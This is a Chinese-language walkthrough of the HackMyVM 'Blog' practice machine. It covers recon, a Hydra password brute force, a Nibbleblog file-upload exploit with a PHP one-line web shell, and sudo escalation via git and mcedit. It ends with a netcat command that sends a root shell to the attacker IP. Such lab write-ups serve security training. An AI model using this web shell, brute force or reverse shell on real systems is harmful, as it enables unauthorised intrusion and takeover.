HackMyVM-blog

发布于 2022-03-25  828 次阅读


0x01靶机介绍

名称: HackMyVM :hotle
链接 https://hackmyvm.eu/machines/machine.php?vm=Blog
下载地址 https://downloads.hackmyvm.eu/blog.zip
作者 d4t4s3c
难度 较简单

0x02环境搭建

1. 下载靶机

链接直接下载(谷歌盘)

不放图了

看官网好像不支持VM 这次用VirtualBox

本次用桥接模式 攻击机在VM 也是桥接

0x03靶机渗透

攻击机使用Kali-Linux 2022.1 (IP:192.168.68.78)

1. 主机发现

arp-scan -l

扫描内网机器发现目标主机 192.168.68.155

扫描ip.png

2. 端口扫描

nmap -sC -p- 192.168.68.155 -v

image.png

发现端口 80 22

4. web信息收集

访问80端口 应该是ping命令的回显 我们看看还有什么其他东西

源码里没有东西

image.png

扫一下目录 看看有什么其他页面

gobuster dir -q -r -u http://192.168.68.155/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip

-q -r -u -w

image.png

有一个状态码403估计是错扫

访问下另外两个看下

第一个文件和首页也一样。

试试第二个,192.168.68.155/server-status, 它得到一个blog页面

image.png

查看源码,应该是这个这个程序搭建的 Nibbleblog

image.png

谷歌搜了下

image.png

可能存在任意文件上传漏洞。 我们进去看看

image.png

看了下CVE 提供的信息。需要版本号4.0.5之前。并且要管理员权限才可以执行。

扫一下博客的目录、看看有什么

image.png

打开README看看

image.png

没有版本号信息。

我们在已知某个版本存在漏洞,那么就先尝试能否进入后台

有/admin.php 后台页面

image.png

5.后台密码爆破

尝试爆破一下

image.png

抓一下包看看是什么形式

post发包

我们尝试Hydra 爆破一下账号密码

hydra -l admin -P /usr/share/wordlists/rockyou.txt "http-post-form://192.168.68.155/my_weblog/admin.php:username=^USER^&password=^PASS^:Incorrect username or password."
  • 参数详解:
    -R 根据上一次进度继续破解
    -S 使用SSL协议连接
    -s 指定端口
    -l 指定用户名
    -L 指定用户名字典(文件)
    -p 指定密码破解
    -P 指定密码字典(文件)
    -e 空密码探测和指定用户密码探测(ns)
    -C 用户名可以用:分割(username:password)可以代替-l username -p password
    -o 输出文件
    -t 指定多线程数量,默认为16个线程
    -vV 显示详细过程
    server 目标IP
    service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)

image.png

在密码本中找到正确密码 爆破成功

爆破一半靠运气一半靠字典。 真实场景很小的概率会成功

输入账号admin 密码kisses 成功登陆后台

image.png

6.任意文件上传漏洞

漏洞是管理员可以从“Plugins > Plugin :: My image”上传任何文件。我们可以从路径“/content/private/plugins/my_image/image.php”找到上传的脚本。

编写php一句话。

vi cmd.php

<?php system($GET['cmd']); ?>

image.png

进入后台上传

image.png

image.png

提示成功

我们去漏洞的说明 直接访问漏洞位置执行命令

image.png

成功执行

7.反弹shell

image.png

nc监听9001端口

image.png

执行命令

image.png

image.png

成功获得

但是只有www-data权限

8.提权

使用python获得完整交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

image.png

设置xterm环境变量

export TERM=xterm

获得完整交互式命令

Ctrl+z快捷键
stty -a
stty raw -echo;fg
resset

image.png

查看可用权限 sudo -l

image.png

发现个可以用admin权限执行的git应用

使用git提权

https://gtfobins.github.io/gtfobins/git/#sudo

sudo -u admin /usr/bin/git -p help config
!/bin/sh

image.png

提权成功

9.寻找敏感信息

看一下当前用户的目录 home 找到个user.txt 查看

image.png

发现疑似falg

image.png

提交成功了。

10.尝试提权root

查看admin的权限

image.png

有个可以root执行的编辑器。

谷歌了下 发现个 Midnight Commander mcedit缓冲区溢出漏洞

mcedit编辑器提权

还是sudo提权,使用root权限执行mcedit

sudo -u root /usr/bin/mcedit

根据查找到的漏洞进行利用 点击蓝色左上角 出现菜单

image.png

双击 Invoke 'shell'

会返回shell命令行 可以看到 已经是root权限了

image.png

但是只有一小块 我们反弹shell 开个新窗口

2.监听root权限的shell

新建个窗口 随便监听个端口

image.png

在刚才获取到root权限的窗口 执行命令

nc -e /bin/bash 192.168.68.78 1234

image.png

获取到了root权限的shell

查看root目录下有什么

image.png

image.png

获取到flag

0x04总结

此靶场主要考察目录枚举、模糊测试、http暴力枚举、反弹shell、shell提权,漏洞利用等内容


用心